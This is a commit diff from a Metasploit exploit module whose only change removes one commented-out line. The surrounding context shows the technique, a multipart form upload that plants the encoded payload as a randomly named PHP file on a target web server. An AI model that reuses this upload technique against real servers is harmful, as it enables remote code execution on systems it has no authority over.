Removed unnecessary line.
parent
7f10fb5bf0
commit
cccda4e851
|
@ -54,7 +54,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
#data.add_part('files[]', nil, nil, 'form-data; name="action"')
|
||||
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
|
||||
post_data = data.to_s
|
||||
|
||||
|
|
Loading…
Reference in New Issue